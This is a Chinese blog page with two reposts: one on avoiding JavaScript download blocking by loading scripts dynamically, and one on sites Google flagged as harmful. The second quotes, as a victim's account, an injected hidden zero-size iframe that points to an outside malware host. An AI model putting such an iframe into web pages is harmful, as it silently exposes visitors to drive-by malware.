手机浏览 RSS 2.0 订阅 膘叔的简单人生 , 腾讯云RDS购买 | 超便宜的Vultr , 注册 | 登陆
浏览模式: 标准 | 列表Tag:block

Javascript堵塞问题的解决[转]

本文来自:Thinking in LAMP - 老王的技术手册,网址是在baidu上面的,文章URL是:http://hi.baidu.com/thinkinginlamp/blog/item/1ebc2e730600891b8601b049.html

原文内容如下:(为了方便,我将图片COPY过来了,而并非是引用,不好意思老王)

所谓“Javascript堵塞问题”,指的是浏览器在下载javascript文件的时候,会堵塞其他下载进程,并且多个javascript文件之 间,只能一个一个下载,不能并行下载。浏览器之所以要这么干,一来是因为javascript里可能会有一些涉及页面渲染的操作,比如 document.write,所以要先把他们加载完,以免影响用户体验,二来是如果并发下载javascript文件,代码执行的先后顺序会错乱,从而 引起逻辑错误。为了规避上述弊端,YSlow建议如果有多个javascript文件,并且这些文件里没有类似document.write等页面渲染的 操作,那么应该尽可能把他们合并成一个文件,并放到页面的尾部。不过很多时候,合并javascript文件是个浩大的工程,不仅破坏了模块化结构,而且 还可能会给代码维护带来不必要的麻烦,今天说说另一个方法,以期避免对现有代码的大规模修改。

先做两个javascript文件,他们是a.php,b.php,之所以用php文件是因为我只会这个,内容如下:

PHP代码
  1. <?php sleep(1); ?>  

 

可以看到a.php和b.php的内容是一样的,其中之所以sleep一秒钟,是为了让演示的效果更明显。

现在让我们来做一个页面(x.htm),看看javascript堵塞问题是如何产生的:

XML/HTML代码
  1. <html>  
  2. <head>  
  3. <title>DEMO</title>  
  4. <script type="text/javascript" src="a.php"></script>  
  5. <script type="text/javascript" src="b.php"></script>  
  6. </head>  
  7. <body>  
  8. <img src="http://www.google.com/intl/en_ALL/images/logo.gif">  
  9. </body>  
  10. </html>  

浏览这个页面的时候,通过Pagetest软件,我们可以看到类似下面的结果:

大小: 3.2 K
尺寸: 500 x 69
浏览: 2131 次
点击打开新窗口浏览全图

我们可以看到,logo.gif图片的下载进程被堵塞了,并且a.php和b.php是分别下载的。

下面让我们再来做一个页面(y.htm),看看是怎么解决这个问题的:
XML/HTML代码
  1. <html>  
  2. <head>  
  3. <title>DEMO</title>  
  4. <script>  
  5. var load = function(file) {  
  6.     var scriptElement = document.createElement("script");  
  7.     scriptElement.src = file;  
  8.     document.getElementsByTagName("head")[0].appendChild(scriptElement);  
  9. }  
  10. load('a.php');  
  11. load('b.php');  
  12. </script>  
  13. </head>  
  14. <body>  
  15. <img src="http://www.google.com/intl/en_ALL/images/logo.gif">  
  16. </body>  
  17. </html>  
浏览这个页面的时候,通过Pagetest软件,我们可以看到类似下面的结果:
大小: 3.23 K
尺寸: 500 x 69
浏览: 2055 次
点击打开新窗口浏览全图
结论显而易见,logo.gif图片的下载进程并没有被堵塞,并且a.php和b.php是并行下载的。

参考资料:http://stevesouders.com/docs/web20expo-20080425.ppt


膘叔:虽然从我个人而言,我会考虑将js换到其他的域名下面,以防止堵塞(所谓的YAHOO设计网页14条军规中的),然后通过一个程序minify来进行引用。关于minify我会单独介绍。(其实也是COPY别人的文章而来,最近是很懒了。一是要考试,二是单位太忙,只能做到天天更新,但无法原创了)

 

Tags: javascript, load, block

小心网站被Google点名为有恶意软件

经常在使用gogle搜索网站的时候,可以看到某些站点下面有一行:该网站可能含有恶意代码之类的话语。但事实是不是这样呢?有人就抗议了。

原文:http://www.cnblogs.com/confach/archive/2008/04/15/1153839.html
  1. 前几天我发现我在博客园的博客被Google点名了,如下:  
  2.   
  3.     博客园-Service Is Living-文章分类-BlackBerry  
  4.     This site may harm your computer.  
  5.     摘要: 作者:Confach发表于2006-04-2822:28pm版权信息:可以任意转载,转载时请务必以超链接形式标明文章原始出处和作者信息.http://www.cnblogs.com/con... 阅读全文 ...  
  6.   
  7.   
  8. 我发现之后请求http://www.stopbadware.org review一下。www.stopbadware.org给我发过来的邮件写道(部分):  
  9.   
  10.     According to our review of your website, your site contains a potentially damaging exploit.  For example, the source code for  www.cnblogs.com/xxxx  
  11.      contains the following suspicious code:  
  12.   
  13.      </script>  
  14.     <script  
  15.     language?=?"JavaScript"  
  16.     src?=  
  17.     icon"  
  18.     type?=?"text/javascript">  
  19.     </script>  
  20.   
  21. 为了防止继续中招,所以删除了部分脚本。  
  22.   
  23. 这有点过分了。原来有个博友在我的文章下面留言了,但是该博友博客里却使用了itsun的统计脚本。而itsun估计是有恶意软件的。所以殃及了这位博友和我。我相信园子里这样的用户大有人在。  
  24.   
  25. 因此建议大家使用脚本之前,先看看是否有恶意软件。如果没有被google点名的,请检查一下你引用的脚本是否在google那里有效。  
  26. 为了解除这个,申请中。  
  27.   
  28. 本文本不应该发在首页,但个人觉得这是个非常严重的问题,如果这个问题不解决,非常影响博客园的发展。所以请dudu手下留情,暂时放在这里吧。  
  29.   
  30. 后续:已经解决了.在Google搜索结果一切都正常了.时间3天.  
开始,我以为这种事情很少见,不料看了一下回复,哇塞,原来被株连的同学那是相当的多啊。正好今天有一网友也遇到类似的事情了,就让他看了一下这个站点,还有就是如果改好了之后,怎么办,有网友就这样回复了:
原文:http://www.pin5i.com/showtopic-16950.html
  1. 向谷歌申请重新审核后网站已经恢复正常状态  
  2. 文/cobra  出处/拼吾爱程序人生  
  3.   
  4. 最近几天是痛苦的日子,网站因为服务器感染了APR局域网病毒,导致服务器上网站全部中招,表现为自动向网页里添加一行代码,在网页源码的最底部:<iframe src=http://bh.jebooo.com/3011.htm width=0 height=0></iframe>。  
  5.   
  6. 中招也就算了,问题是网站流量的重要来源谷歌具有访问网页自动识别代码的功能,结果当然是把我的网站加入到“含有恶意软件网站”的黑名单之列,我冤啦。。。  
  7.   
  8. 一时手足无措,问了些站长,没一个给出答案的,哎,只有自力更生了。尝试着登录到谷歌网站管理员页面:https://www.google.com/webmasters/tools/,我用的Adsense的帐号登录的。首先就看到了我的谷歌Sitemap,点击进去看到了该Sitemap的状态为红色异常,怎么办?想起左边导航菜单有个概述,里面应该有介绍吧,点进去看看,果然,在右边的索引状态里清楚地写到网站因为一些原因被列为非法网站,晕。还好,下面紧接着就是一段“如果要恢复网站的正常状态,就该如何如何。。。”,谷歌就是人性化,按照提示点了下面的“申请重新审核”的链接,填写了网站的基本资料(这里有个小细节,在被谷歌定义为非法网站后,必须重新验证网站的所有权后才能进行申请重新审核的步骤),确定OK。接下来,一段提示文字让我的心凉了半截:需要大概几周的时间恢复。。。  
  9.   
  10. 天啦,几周,网站的ALEXA排名会落到哪里去了,PR值就要更新了,会降吗?谷歌收录会降权吗?我心乱极了,只有找空间商出气,本来嘛,不是服务器安全措施不严格,怎么会让这样基本的ARP感染了,我恨,但无济于事,空间商的机房称这为“人力不可抗拒之意外。。。”  
  11.   
  12. 但谷歌作为互联网世界的代表公司,再一次向我证明了他的办事效率和公正性,13日下午提交的申请,14日晚上即恢复了网站的正常状态,感激之余我在想:如果空间商有如此效率,我又何必惹来这多麻烦?到这里我顿生换空间商的想法,但其实我这个人比较念旧,况且空间商已经对我作出补偿,我又怎忍心绝情离去,不过感情归感情,我已经跟空间商沟通好了,如果再有下次,对不起,换他没商量,是的,网站要发展,不能允许再频频出现这样的愚蠢的问题了!  
----END----

大量的事实证明,还是使用大公司的代码比较有保证啊。这不,膘叔就使用的是YAHOO的统计,虽然YAHOO最近不断的被人欺负,但统计功能应该还是不会受影响的吧。实在不行,以后咱就换GOOGLE的analyse。

顺便说一下,用五笔打google,出来的是:恶业胃。

Tags: 恶意软件, google, 点名, attack site, block